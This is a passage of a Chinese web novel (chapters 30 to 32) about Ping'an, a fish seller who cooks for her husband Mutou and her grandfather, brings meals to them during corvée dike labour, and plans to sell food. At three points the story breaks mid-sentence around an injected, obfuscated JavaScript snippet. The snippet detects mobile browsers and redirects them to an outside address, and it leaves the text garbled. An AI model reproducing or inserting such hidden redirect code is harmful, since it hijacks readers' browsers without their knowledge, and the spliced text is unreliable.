到了晚间，他更是一股脑将今日所赚摆放在桌，交给平安保管。 “二十、二十一......五十七文，再加上之前的，你已攒下一百七十二文钱了。” 伴随着一阵阵清脆的铜钱交击声，木头脸上笑容愈发灿烂。 “今日赚这样多，想来跑了不少地方，身体可还受得住？” 木头下意识摇头，想了想，他又点了点头，笃然道：“受得住，娘子，我答应过你的。” “你已经做得很好了，我相信你会让我过上好日子的。”平安替他理了理衣领，捧着他的脸，温柔鼓励。 在摇晃的昏黄烛影之中，平安的脸也仿佛被烛光镀上一层浅浅的金色，衬得她本就秾艳的五官愈发精致昳丽，木头抬眸望去，一时看得失了神。 晚上的娘子，肌理匀称，模样比白日更艳丽，也更温柔，就像是乌龟卸掉了背负在肩上的龟甲，回到房中的她，看着软绵温和，毫无杀鱼时的剽悍。 也是因此，木头一句疑问便脱口而出：“那我可以点明日的菜吗？” 刚说出口，他便有些后悔，自从自己开始赚钱，他就愈发懂得赚钱不易，也懂得柴米油盐的珍贵，他想吃的菜并不便宜...... “好，你想吃什么？”平安开口，打断他的遐思。 “真的？” “那还有假？你赚钱辛苦，也该犒劳犒劳自己。” 想到自己最近受的苦，木头深觉她说的有理，当下语气也壮直三分：“我想吃水晶脍这样的，最好瞧着颤颤巍巍，吃起来有嚼劲。” 30. 杀鱼的第三十天 禁渔期过，档口生意回暖。 这日，平安心中记挂着承诺给木头的菜，两人将带出的鱼卖完便急急往家赶去。 灰灰与小白如今胆子大了许多，每日无事便在村中四处溜窜。每每临近平安归家的时间，两小只在堤上开始等。这会它们蹦蹦跳跳相互扑闹，身体是隐在了花草间，可那毛茸茸的尾巴却时隐时现。平安在船上远远便看见草里长出了狗尾巴，那一灰一白，不是她家的还是谁的。 察觉主人船停靠岸，灰灰愈发兴奋，一招猛虎下山就要往下河的小路跃去。 只可惜马有失蹄，狗有失爪，肉乎乎的小团子一个趔趄，身体立马失衡，咕噜咕噜便朝下面滚来。堤上的小白吓得在原地嗷呜叫，刚刚还高扬的尾巴顿时夹起。 平安见得此景，心被吓得提至半空，那一瞬间她来不及多想，丢下手中物什便飞身跳船，三两步上前接住滚落的灰灰。 等到暖暖绒绒的一团入了手，她长舒一口气，心中的石头这才缓缓落地。 这傻狗，这会竟浑然不觉方才的危险，见得平安抱它，它还在她怀中疯狂甩尾，伸出舌头想要舔她。 她摸了摸灰灰的头，将它放在地上，轻拍它毛茸茸的脊背，它摇尾回头看了平安一眼，随即墩墩往上跑去。 平安转身回船，便看见木正抛锚锁船。 她心下满意，默不作声地回舱拾辍卫生。 她这艘船，年岁已久，还是爷爷年轻时用的老船，平安用着亦十分珍惜。 自她开始靠船讨生活，他便将船身全部刷了层桐油，又用木板做上一个船舱主体与舱门，外覆一层柔韧竹席防水，在船上给平安支了个遮风避雨的小空间。 因着船舱高度不过半米，为保平衡，这舱门并未安高，平安进去还得弯腰猫行。 经过数年风雨的洗礼，黄绿色的竹席颜色已变成油润的黄褐色。 每逢过年，爷爷便又会刷上一层桐油养护船身，木板的颜色受桐油浸渍，变成沉寂的棕铜色，若不点烛，只消背着光，船舱内光线便十分昏暗。 平安在里头清理得颇为费神，不知不觉间，汗水便已滚滚流出。 木头余光一瞥，却见自家娘子双袖上挽，露出一截藕节似的皓腕。 手腕的白，与木板的沉，在这一刻出现晃目的极致对比，他惊觉自家娘子那张秾艳的脸蛋在昏暗的船舱中愈发夺目，那清亮的眼眸，直挺的鼻梁，花瓣似的粉唇，无一不牵动着他的心神。他想，就像那些酸臭文人诗词里说的什么玉，什么朱颜。哎，去他大爷的，他想不起来了。木头窜逃般缩回视线，不自在地轻咳了声。 “怎么了？”平安擦了擦额角的汗，抬首问道。 “没。”木头与她视线对上，可目光却不自觉被那颗滑落的汗珠吸引。 眼瞅着它从额角滑至下颌，再从白皙修长的脖颈滚落至令人遐想的衣襟深处，木头只觉愈发心燥，他深吸一口气，背过身去，喃喃回道：“没什么。” “没什么那就走吧。”平安提着木桶，推了推这挡路的人。 “哦哦。”木头如梦初醒，似火燎般转身避让。 前段时日，平安应了给木头做一道颤巍巍的好菜，可惜连着好些日子，市集中都没寻到合适的食材。 寻摸好久后，她只得以素菜代替。 盛出一碗水，一碗葛根粉混绿豆粉。用水将粉冲开，入毛毛盐搅拌成细腻无颗粒的粉糊，便可下油锅小火煎制。 雪白的粉糊遇热很快便化为半透明状的坨粉，待煎得两面微焦，便可将坨粉取出放凉。 冷却后的坨粉轻轻一拍，弹弹嫩嫩，按压下去也很快恢复原状。 将这坨粉切成规整的菱形块状，另起锅烧油，入芥辣，蒜末爆香，加少许盐、酱油增加底味。接着便可倒入坨粉与酸菜、萝卜干爆炒出锅气。 出锅前撒上葱与芫荽，一道香气十足极其下饭的酸菜萝卜干炒粉皮便成。 虽没寻到荤菜，但那道临时的承诺之作依旧得木头的欢心。那坨粉粉质晶莹、颤巍巍、肥嫩嫩，入口极为软糯弹牙，再辅之以微甜香脆的萝卜干与酸香卜脆的酸菜，坨粉风味更甚，酸香、焦香、窖香、呛香在坨粉中完美融于一体。 一家人就着这碗粉与青菜，一人盛了两碗饭。后面木头喟叹，那粉皮滋味比荤肉更甚，让平安勿要再纠结此事。 可答应人的事没有做到，平安心中始终留了个疙瘩，她默默存了个念头，等待食材到来的时机。 今日恰逢吴婶做了单大生意，镇上周员外家孙子百日宴，找她定了许多鸭子，他们只要鸭肉，便好了平安。她早早得到消息，提前向吴婶定了这鸭掌，又去屠户那里提了两根猪蹄筋，这才欢欢喜喜回了家。 可谁知临到门了，木头却被脚边热情摇尾的灰灰一绊，直直往前扑去。 见得飞扑往前的木头，双手满当的平安来不及想太多，情急之下，她只得选择最快的办法，快速伸腿横档在木头身前，这才阻挡了他下跌的动作。 见木头惊诧侧首，平安的心重重一跳，面上只作漫不经意地模样：“走吧，今日还有得忙。” 看娘子神情坦然，木头只当她常年做苦活锻炼了把子力气。虽心中有所疑虑，为何她浑然不似普通娘子般娇弱，但刚刚的意外实在羞得他无地自容，亦惊得他脑袋浑噩。他低头掩面捡起木桶，不愿回想更多。 平安带着身后呆呆傻傻的三只推开虚拢的院门。 临近夏日，竹编生意愈发火热，可爷爷今日竟未在剖丝，反而在院中磨起刀来。 见两人归家，胡水生擦了擦刀上的污水，笑道：“正巧，今儿捞了只快两斤重的甲鱼，正好给你们宰了补补身体。” “那敢情好，咱家好久没吃甲鱼了。”甲鱼性温，不但可滋阴润阳，背甲还可入药，在当地一向很受欢迎。爷爷今日竟舍得给他们做来吃了，可真是难得。 望着处理好的甲鱼肉，平安吩咐木头将鸭掌与猪蹄洗净，她则去橱柜里寻来大料、桂皮、香叶、花椒、茴香、陈皮，清水洗净泡水备用。 熬制卤汤的功夫，平安开始处理食材。 鸭掌去筋可是个细致活，一家三口人忙活半晌，这才取出一小盆鸭掌筋。 将鸭掌、蹄筋、鸭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233731|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌筋一同炒香上色，进卤锅卤制。 等卤出香味，将鸭掌倒入砂锅，舀上一勺卤水，加入白菇、黄芽白、黄酒，用小火慢煨。 而蹄筋因着胶质浓郁，则需在卤水中炖煮至汁气析出，口感变软。 用笊篱捞出蹄筋掌筋，控水后入盆备用。 蹄筋掌筋在卤水的文火细焖之下，早已变成浓厚的酱色。远远闻着，便可闻见那股馥郁的卤香。 待蹄筋冷却，拌入用葱蒜茱萸花椒茴香熬制的辣油，撒上芝麻，一道色泽酱红、卤香浓郁、韧韧弹牙的冷吃酱蹄筋便做好。 至于爷爷的甲鱼，自然也不可隔夜。 新鲜的甲鱼肉经热油与姜蒜爆香，腥味渐除，细嫩的肉质在高温的作用下逐渐收紧，开始析出浓厚的汤水来。 见火候已到，平安舀入一勺肉醢增加底味，下黄芪，入香料与黄酒焖煮。 不多时，馥郁的香味便透过锅缝袅袅飘出。 一时间，灶房内白雾弥漫，香飘二里，院门外不时出现踱步踮脚的邻居，一边走，一边深嗅空气中的香气。 在热气的蒸腾之下，各种香料的香味混合成独特醇厚的卤香，被小火慢慢炖入肉中，入口细尝，适宜的咸香扑鼻而来，浸润唇齿。 鸭掌早已被煨得软糯脱骨，轻轻一抿，便可骨肉分离。 鱼甲裙边亦弹嫩爽滑，满口胶汁，肉质亦丝丝分明，炖煮极其入味。 见着汤汁渐浓，平安撒入些许枸杞，将这锅红烧甲鱼盛入钵中。 另炒一盆青菜，炉中添入炭火引燃，将砂钵放置其上，甲鱼汤在小火的烘烤下逐渐泛出滋滋汤泡。桌上两荤一素，一家人围坐桌前吃得津津有味。 这几日体力劳重，腹中正缺油水，木头埋首不停扒饭，间或补上一句：“爷爷您吃。”“娘子你多吃些。” 看他言不由衷的馋嘴模样，平安笑着替他盛上一碗汤，心中却在思忖，她爷不像是舍得添肉吃的人，想来是有什么事在等她？ 果不其然，饭后，胡水生抿下杯中最后几滴药酒，低声叹道：“徭役又要开始了。” 是了，春耕已过，为防夏季洪水过境冲垮河堤，月河村的村民在农闲期间，少不得要服上一两回徭役。 或是去人，或是交钱，可普通百姓人家，谁又舍得上缴那远超他们干活工钱的代徭税呢？ 往年她家只爷爷一个男丁，尚且逃不脱官府征用，今年，又多了木头。 这样的好事，村长里正怕是只会更加开心，离上头指定的人头又近一步。 索性他们这的徭役关乎当地的民生社稷，多是修筑河堤水利工事，听闻有的地界，百姓们服的春役，却是长途跋涉数百里去运送那重达千斤的花岗石。 两相比较下来，月河村的村民们都颇为老实认命，左不过逃不脱，不如思索带哪些干粮来犒慰自己的五脏府。 平安心中暗忖，这代徭税的金额年年都在变，今年不知要价多少，若是价格合适，她咬咬牙，好歹先将爷爷赎出来 “徭役？”木头停下手中动作，好奇望向爷爷，这于他而言无异乎是个新鲜事。 31. 杀鱼的第三十一天 “是啊。” 胡水生轻轻放下手中酒盏，那双历经岁月洗礼却依旧温和的眼睛此刻也不禁阖目微垂，他叹了口气，慈爱地看向俩人：“我今儿同村长说了，咱家两个男丁出一人就成，他当场没有回话，只说再考虑考虑。” “若是成，咱家就我去就行，若是不成，就得辛苦榆明一起去。” “爷爷。”平安睨了木头一眼，他立马站直身体，主动请缨，“这种事情自然是咱们晚辈来，爷爷您安心在家歇息就成。” 胡水生连忙推辞：“我干重活干惯了，这服役辛劳，榆明受不住的。” “爷爷，这如何使得，您该在家好好修养才是。”木头赶忙接话，他自信地拍了拍心口，“不就是走走路，挥挥锄头吗，在家里我都学会了。” “不一样，劳役的辛苦你想不到的。” 两人一番你谦我让，胡水生这才接受孙婿好意。 只可惜，不过两日，村中便传来消息，今年劳力稀缺，那十二三岁的都被迫加入徭役的队伍之中，之前爷爷与村长商议的事，自然不了了之。 今年这徭役确实奇怪，提前开始不说，时间也比往常要久，平安本想出些钱代了徭役，可今年的代徭税却不同往年，需一人缴纳五贯。 她家现在的家底，东拼西凑，也只能凑出五贯钱。 平安想将胡水生赎出，可他却怎么都不让。 平安只得嘱咐木头白日里多照顾一下爷爷，木头一向吃软不吃硬，这会见得娘子温柔小意的叮嘱，自然拍胸脯答应。 在他看来，自己这段时日做了不少农活，早已轻车熟路，小小徭役，不在话下。 村里定于四月初一始服春役，届时村民需自带干粮与农具按时到达指定地点。 徭役开始这日，木头睁着朦胧的双眼被平安叫醒，用完汤饼，胡水生喊上孙婿，两人挑着扁担竹担锄头之类农具便摸黑出发。 因服役之地距家路途遥远，为按时抵达，村民们均需早早动身，一路上，两人陆续遇见出门的村人。 他们这春役，便是从最远处开始修，修到家门结束。 县里以洛河、玉溪河交汇处为分界，将沿河村落划分成两半，各自向背开修。 一行人自月河村向东步行十余里，方抵达洛河与玉溪河交汇处。 到这也不能马上动工，只因这填补夯实河堤的泥石，却是丘陵之地才可得，众人需再挑着空担向东南方向行数里，用人力将那些泥土卵石挑回此地，才可开始加固堤坝。 半路上，木头光是听着这行路里数便开始两眼发黑，再想到需挑着那重如千斤的担子来回穿行，两条腿尚未行路，便已觉软绵绵如汤饼。 看着一片漆黑的前路，木头心中暗自打起了退堂鼓，这活，光是听着便累死人。可想了想家中的条件，他咬咬牙，将跑路的话憋回心间。 胡水生也知他是个没吃过什么苦的，他早已准备了东西遮遮那监工的眼，人家放了一马，只希望自家这孙婿也不能做得太过分才是。 另一边，想着今日爷爷他们要服役，平安心中总惴惴不安，她卖完带出的鱼便匆匆往家赶。 赚钱重要，照顾家人也重要。 每年徭役结束，村里的人都得瘦上几圈，若是能寻到一个膀阔腰圆的，那定是未服役的富户无疑。 这徭役的苦力活极其耗费体力，爷爷他们早上带出去的那干巴巴的行路干粮只能果腹，却难支撑重活之下身体的损耗。 今儿这菜，需得油水丰厚又下饭才行。 做饭前，平安先将洗净的萝卜切成均匀的厚块，每块又用刀切出上下相间的三条，将切好的萝卜挂在擦净的晾绳上，她方回到灶间添了一把火。 若是太阳大，这萝卜晒上一日便可入坛。 弄完这些，时间已是有些紧张，她飞快下刀，将买来的五花猪肉与萝卜一起切成寸长的丁状。 锅中入猪油融化，下肉丁与桂皮煸香。 说起来，这道菜还是她家中一位长辈所教，以前平安炖肉，喜放多种香料，可这位长辈却告诉她，香料贵精不贵多。 炖这猪肉，一味桂皮足矣，加上大料反而会使猪肉发酸。 平安当时尝着他炖煮出来的仔猪肉炖萝卜，连吃了好几碗饭。一回想，那独特淳朴至极的鲜味仿佛跨越时间长河，再度回到她的口中，她舌尖的味蕾瞬间被激起，口中津液横生。 待猪肉煸出清澈透亮的猪油，下蒜米炒出香味，再入萝卜，盐，些许酱油一起翻炒着色，待炒至萝卜脱水发软，则加水盖盖焖煮。 炖肉的间隙，平安又取出之前烘干的小银鱼，备上酸辣藠头、萝卜与辣酱，只待前道菜出炉再下锅。 新鲜细嫩的猪肉经文火久炖，一掀开锅盖，一股浓郁的鲜香便伴随的氤氲的热气闯入人的鼻间。 平安尝了一口，猪肉软烂适宜，油而不腻，入口极为细嫩，萝卜更是被肉香炖煮入味，粉烂咸香。 剩下一道素菜，择鲜嫩笋尖、新鲜菌菇与枸杞叶尖入盐汤汆熟，捞出与蒜末、香油、酱醋拌食。 如此做出来的三鲜，是城里有名的素菜——山家三脆，或是下饭、卷饼，或是做面浇头皆爽口清脆，让人食欲大开。 将炖肉盛出，平安迅速添柴，下油，倒入备好的配菜与辣酱一同爆香，待鼻腔充斥着浓烈的锅气，立马倒入焙干的银鱼与酱料一同翻拌入味。 这样做出来的银鱼，鲜、香、酸、辣，各味皆有。 银鱼肉多刺少，鲜鱼细腻，干鱼亦柔韧有嚼劲，肉质与口感赛过普通的青鳉鱼不知几何。 再加之甜脆藠头与酸萝卜均自带浓郁窖香，在烈火与辣酱的碰撞之下，这道辣呛的小银鱼迸发一种浓烈而独特的香味，小尝一口，入口香辣，回味无穷。 平安迅速夹上两筷菜，三两下将饭菜吃完，便收拾食盒往外走。 “喵呜~~” 听得花丛中又传来野猫软软的嚎叫，平安轻笑着掏了一把灶上留着的小鱼仔放在檐下的青石上。 如今正是狸奴繁殖的季节，平安常见许多母猫大着肚子独自狩猎。 村里人粮食自己都不够吃，又怎会舍得拿家中余粮救济野猫。 这狸奴一向性傲又自在，不到万不得已它们不会轻易接近人类。 若她没猜错，这软绵绵的声音很像之前她撞见的那只三花。 那只三花一年怀上两三胎，接连不断的生产喂养与常年的三餐不继，让它油光水亮的毛发变得粗糙暗淡。便是铁打的身子也经不住这样熬，平安心想，若是能抓来阉割就好了。 可那样又太过危险，一旦感染，反而又害了一条性命。 望了眼外头的日头，平安迅速收拢神思，再不赶紧，就赶不上徭役队伍的午歇。 所幸去那边的路是顺流而下，平安使出全身解数，开始赶路。 沿河两岸的风景飞速从眼前穿过，迎着猎猎的劲风，平安远远听见鼎沸的人声，方松懈下来抬袖擦汗。 平安抬目望去，就见河堤边缘已堆满数坡泥土与石头，只闻人声，却不见人影。 这会正是休息的点，各村服徭役的村民正三三俩俩席地而坐，不少人猛灌凉水，就着带来的干粮开吃。 平安一踏上河堤，便引得众人纷纷侧目。 她人年轻绮丽，身姿高挑板正，素衣布钗不但未能掩盖她艳丽的容光，反衬得她纤秾有度，气度娴雅。 有那不认识她的年轻郎君，这会不禁看着她愣了神。 待身边人拍了拍，私下拉住他们窃语几句，那些郎君才陡然清醒。 哦，原是月河村那只母老虎，好看是好看，但也得有命享那艳福啊。 一时间，众人看木头的目光都带了几分怜惜。母老虎五大三粗，能做出什么好菜来，她天天杀鱼，怕是做出来的饭菜也得浸透那鱼腥味。 来这送饭，不过是白费一番功夫，还不如多杀几条鱼，多凑一凑来年的代徭税。 平安并未理会他们的小声议论，她一路目不斜视寻找爷爷与木头，见他们这会正捶着腰背倚树而坐，她面上一喜，忙大声喊道：“爷爷！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245042|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎，安安来了？”胡水生抬首，见真是孙女，赶忙起身去接。 “娘子！”木头瞧见她手中的食盒，亦委屈唤道，他这一声可谓抑扬顿挫，饱含委屈与心酸。 看他可怜兮兮的模样，平安心中也颇为愧疚，依他细皮嫩肉的程度，他怕是前半辈子都未曾受过今日这么多苦。平安放下食盒，朝他招手应道：“夫君。” “今儿带了什么好吃的？”为了抚慰饥肠辘辘的肚腹，木头这会也顾不得浑身酸痛，兴致勃勃冲到平安面前。 平安笑着将食盒打开，温声道：“时间急，只做了猪肉炖萝卜、辣炒小银鱼还有一道凉菜。” 闻言，木头眼前一亮，他伸手将盖掀开，浓郁的荤香与呛鼻的辛香便瞬间传遍河堤。 见得是好菜，木头得意地朝四周扫视一圈，如愿见到那些人僵滞的动作，他故作讶然叹道：“哎，娘子，说好别太累着自己，我和爷爷吃一个菜就够了，你要累着我可要心疼。” 他今早可没少被这些人嫌弃干活太慢，这会看他们吃干粮，自己吃热饭热菜，少不得要炫耀一番，出一口气才舒坦。 “还是榆明这孩子懂得心疼人。”胡水生骤然插话，轻拍两人，瞧爷爷眼睛瞥了眼远处，平安拉了拉木头，瞬间止声。 一家三口倚着树下的石头放好菜碟。 村里的亲友率先反应过来，三两步跑上前对着胡水生赞道：“幺叔，你真是好福气啊，我瞧着安安这手艺越来越好了。” “是啊，安安过来可真辛苦了。”他们虽未直接索要，但眼神与话都离不开这食盒。 平安今日特意将饭菜多做一些，也是存了与众人交好的心思，她家人少，又老的老，弱的弱，服役期间少不得需要别人帮忙照看。这会见得有人上前，她面上笑得愈发和善。 “粗茶淡饭，只要各位叔伯不嫌弃，一人舀上一些尝尝味。”平安捞出汤勺，一人给舀上一勺猪肉萝卜。 得了好，那些人也好话频出：“哎哟，你这孩子可实在贤惠，榆明娶了你可真是他的福气。” 贤惠？以前他们可没少骂她泼辣。平安心下暗笑，这些人为了口吃的，这种违心话也说得出口。 “是是是，又大方又勤快。” 平安理了理思绪，那双清澈明亮的眼眸里霎时满是清正之气，她语调真诚奉承道：“我家爷爷和夫君，在这里就仰仗各位叔伯乡邻多多照顾，说起来，还是我求你们帮帮忙呢。” 平安笑着为他们添菜，目光早在不经意间逡巡周匝。 胡水生瞧着那领头的差役越走越近，当下拉了拉平安衣袖。 平安轻笑颔首，端着食盒上前朝差役说上几句好话，又热情地给他们添了几勺肉，这才笑意盈盈走回爷爷身边。 观这娘子进退得体，张弛有度，讲话也温文有礼，浑然不似传说中那凶煞罗刹模样。方才还被她凶恶事迹吓得不敢搭话的年轻郎君，这会也不由暗自猜疑，莫不是其中有什么误会？ 他们这失魂落魄的模样被身旁的人瞧见，当下便拉着他们低头细说平安过往的“丰功伟绩”。 再抬头，那些年轻郎君瞧木头的眼神，不再是羡慕，反而带着一丝极易察觉的怜悯与钦佩。 终于轮到自个吃饭，累了半日的木头这会心慌胃烧，全身发软，只想一口饮下一盆油汤，来缓解他这半日的积劳。 银鱼鲜辣开胃，猪肉炖萝卜肉质细嫩，香糯可口，连那看着不起眼的凉拌素菜，也是香香脆脆，清爽开胃，他胃口大开，接连盛饭。 说是这样说，那些没分得到肉食，家中又无人送饭的人，这会也只得收回羡慕的眼神，恨恨咬一口手中的饼食。 差头吃了午食，又故意闭目养神片刻，瞧着众人都吃得差不多了，这才站起身来大声喝道：“都起来了。” “收拾收拾准备干活。” 见木头仍旧慢吞吞的扒拉着碗中最后一点饭菜，平安都替他着急起来。 他倒好，笑嘻嘻地摸了一把平安的脸，在她耳边促狭低语：“娘子这样看着我，可是想我了？” 32. 杀鱼的第三十二天 看他众目睽睽之下竟然行这种轻佻之举，平安心下臊得慌。 对着他嬉笑的嘴脸，平安嘴角微扬，对着木头温柔一笑。在他愣神之际，她右手却悄然伸至木头腰间，寻到一丝软肉，她人往前一倾，便狠狠捏了下去。 “娘。”子，木头的声音戛然而止。 “啊！”木头顿时惊叫出口。 “呀？”平安先发制人，与他几乎同时开口。 听得动静，众人循声而望。 饶是木头脸皮再厚，见这么多人直勾勾地盯着他看，心中也颇不自在，只能拍了拍衣摆靠尬笑掩饰尴尬：“啊，突然想起一回事。” “年轻人，一惊一乍。” “正是。” 待四周村民收回视线陆续起身，木头方拉着平安衣袖低声叫冤：“娘，娘子，何至于此，何至于此啊。” “哎呀，我方才没站稳，可是弄疼你了？” 平安语带关切地拉住他的手，满脸惊色地在他肩肘轻拍。 看着木头一会面露惊疑，一会却又一副神游天外的愣怔模样，平安心中暗忖，不知这人脑子里又在想什么东西。 尚未等她出声，便有人一巴掌拍向木头后脑。 “走了！” 木头瞬间回神，他摸了摸发疼的后脑，怒目而视，却见差头正双手抱胸好笑地望着他，他当下端正神色，依依不舍地与平安挥手告别。 服役辛苦之事自不必提，普通农家只要参与过的皆深有体会。 待得傍晚木头与爷爷归家，两人衣衫皆已湿透，人亦是脚步虚浮，绵软无力。平安扶着两人进门，端上早已熬好的爵床草水给两人泡脚解乏。 言谈间，平安才知今年徭役改.革的缘由，原来是新官上任的三把火烧到了他们身上。 据说新上任的知县认为今年恐有洪涝，故而再三勒令下属村镇务必提早加固堤坝。 顶上人一句话，就够他们底下的小民劳累奔波多时。 当然，这筑堤修路之事都是关系民生的善举，平安不会有甚意见，只是当这重担压在她的家人身上时，她觉得沉得喘不过气来。平安心想，若是她能代替爷爷受这遭罪就好了。 思来想去，还是得多赚钱。若是她有钱，她就可以花钱将人赎出。只是这赚钱之计，得等与木头聊完才可做下决定。 一家人匆匆用了晚膳，用菖蒲艾叶水洗了个澡，便各自回房歇息。 徭役期间，家家户户都要早起，酉时一到，路上几乎不见行人。再等鸡鸭回笼，村中更是一片寂静，皆闭门锁户，早早夜会周公。 等两人皆洗漱干净，平安便取来活络油给木头搓揉。 半晌未得动静，方才还在哎哟呼痛的木头扭头睨向平安，就见自家娘子眉头深锁，面色沉静，显然是陷入了沉思。 他抿了抿干燥的唇，上前揽住平安肩膀，清嗓搭讪：“娘子为何闷闷不乐，可是我今日惹娘子生气了？” 白花花的胸膛入了眼，平安瞬间回过神来，顺势替他揉了揉肩颈，将衣领拉好：“你今日这样辛苦，我怎会无缘无故生你的气。”没做过什么重活的人，身上的肉都是软绵绵的，他皮肤又白，这会肩膀上被扁担压出两条青紫色的淤青，平安瞧着着实怵目惊心。 虽然两人的姻缘阴差阳错，糊里糊涂，扪心自问，木头夫君虽然懒散爱玩了些，但对她确实是一腔赤忱，他的热情一度让她难以招架，只能通过回避来掩饰心中的无措与慌乱。 若不是进了她家，他也不会受这样的苦。 说罢，平安垂眸叹道：“我只是在想，若是家中有充裕的钱财，就无需你和爷爷受这番蹉跎，是我对不住你。” 木头今日无数次都想打退堂鼓，可当他回家看到黄泥砌的屋子时，这想法便被他深深压在心间。再听得娘子的愧疚之言，他心中更是暖意洋洋，那些话却无论如何也无法说出口来。 娘子在外虽时常笑意盈盈，面对他时亦语调温和，可他常觉她的笑意未达眼底，他怎么也摸不透她的心思。这会听到她的剖心之语，他当下乐得眉飞眼笑，起身将她拥入怀中：“有娘子这番话，再苦再累也值得。” “傻。”平安不着痕迹推开他，伸手点了点他鼻梁。 在木头看来，他家娘子脸上肌肤虽因常年日晒并不白皙，但她的手，许是长年累月在水中浸泡，却如葱根一般白皙修长。 借着窗外透过的蔼蔼霞光，木头瞧着那伸过来的玉指仿佛沾染一层氤氲朦胧的云雾，却能轻而易举地击破心扉，让他心中酥酥麻麻，一时间他色胆涌上心头，有些蠢蠢欲动起来。 但奈何娘子这会心情不佳，他不好直接上手，只得按捺着躁动胡编乱造瞎安慰几句：“娘子为这个家已经足够辛苦，莫要过于自责。” “更何况。”他语调微扬，颇有些得意地赞道，“今日你走后，那些人可都夸你厨艺极佳，怕是镇上那些脚店的厨娘也比不得你。” 这话平安顶多信前面一半，那些人平日里哪舍得去脚店吃饭，又哪能知晓那些厨娘的手艺如何？ 不过，有前半段就够了。 她状似羞赧反问：“果真？大家都觉得这菜好吃？” “那是。”木头以为她真对此事好奇，顿时洋洋得意地将今日那些人夸赞之语一一复述：“他们说你做的小银鱼酸辣开胃，馋得他们只恨带少了干粮。” “那五花肉更是舍得放油，吃上几口，半日的积劳就解了一半。” “你说，我若是每日去卖些吃食如何？” “这。”平安突如其来的问话，让木头心中燃起的小火苗瞬间被浇灭。 虽家中过得清贫，但他也不想她太过辛劳，但瞧她神色认真不似作伪，他的心缓缓下沉，开始认真思考答复措辞。 “但娘子每日卖鱼杀鱼就已经足够辛苦，服役之地又离家甚远，来回路上最快也得花上大半个时辰......” “其实我有这个想法很久了。”看他虽未直言拒绝，但话里话外皆不赞同，平安长叹一声，低声喃喃。之前她未婚嫁，不好一人四处游荡，如今有了木头掩护，她心中酝酿多年的想法在此刻亦破土而出。 良久，她深吸一口气，笑着揽住木头的手：“你们每日这样辛苦，我真不舍你们吃那些干巴巴的行军粮。我主要是给你和爷爷送饭，再想顺带赚上一笔，此事何乐而不为？” “可那些人皆出身农家，怕是舍不得花钱，便是辛苦半日，怕也赚不得几文钱。”在村里待久了，木头也发觉身边的人花钱都很吝惜。 “你说的有道理，明日我只多准备一些试试水，便是卖不完，咱家也能自己吃完。” “那也行。”木头不是舍不得钱，他只是觉得自家娘子已经够辛苦了。 “我在想，一日两日，那些人可忍，三日四日十日呢？更别提今年这徭役日子还比往年都长，一餐花上几个银钱吃口热饭，一月也才一两百文，比之那五贯的代徭税，已是划得来的买卖。” 见她已经想好，木头只得怏怏点头应好。 知他是为了自己好，平安忙低语安慰几句：“莫担忧，菜那些我回来的路上便顺带买了，我明日里本就打算继续给你们送饭，第一天我也不会做太多，夫君不如帮我想想做些什么菜？” “亦或？”她轻轻靠在他肩侧，轻声呢喃，“你自己想吃什么？” 想起白日的辛苦，木头便觉得浑身酸软，顿时什么小心思也湮灭得一干二净，这会便是山珍海味给他，他也觉得索然无味。 可他的身体在回忆起她之前所做梅干菜扣肉的味道时，却不自觉分泌些许口水。 他，他定是太累了，身体急需油水滋润，对，就是这样。 在他自己尚未反应过来时，一句“扣肉。”便已脱口而出。 “夫君所想与我正不谋而合。”平安起身替他轻轻揉捏肩颈，一番小意温柔之后，直将木头哄得找不着北。 方娘子的御夫之道果真好用，对这些郎君，就得以柔克刚，她要是早领悟，何至于蹉跎至今。 身体与精神的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253043|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极致愉悦在一瞬间到达巅峰，木头面带微笑睡着，平安又爬起床盘了一遍今日所赚铜板，这才安心陷入梦乡。 平安所做决定并非完全处于冲动，这段时日她档口的生意并不稳定。 而许娘子，自从她与季泽的婚事告吹，却是一次也未曾上门来，连带着几家与她相熟的店铺也来得少了。 这会脆肉鲩正是繁衍季节，平安生意受了影响，也舍不得过多拿它们引客。 她每日便想着从哪里找补些钱来，这次送上门的机会她绝不会放过。 这虽是一块蚊子肉，她也不嫌弃肉少，也正因为它是蚊子肉，才少了一些觊觎。 主食，她今日并不需准备。 她突如其来支摊，并未知会那些人，准备了也是浪费。他们为了省钱，要么家人送饭，要么便如昨日那般自带干粮充饥。 她要做的，就是卖些带油水的配菜给他们。 昨日她细数了一遍，他们村服役的那个堤附近就有一百多人。 若是能做成一半人的生意，一天也能多赚个几十上百文，一月不就两三贯有望。 思及此，平安动力十足。 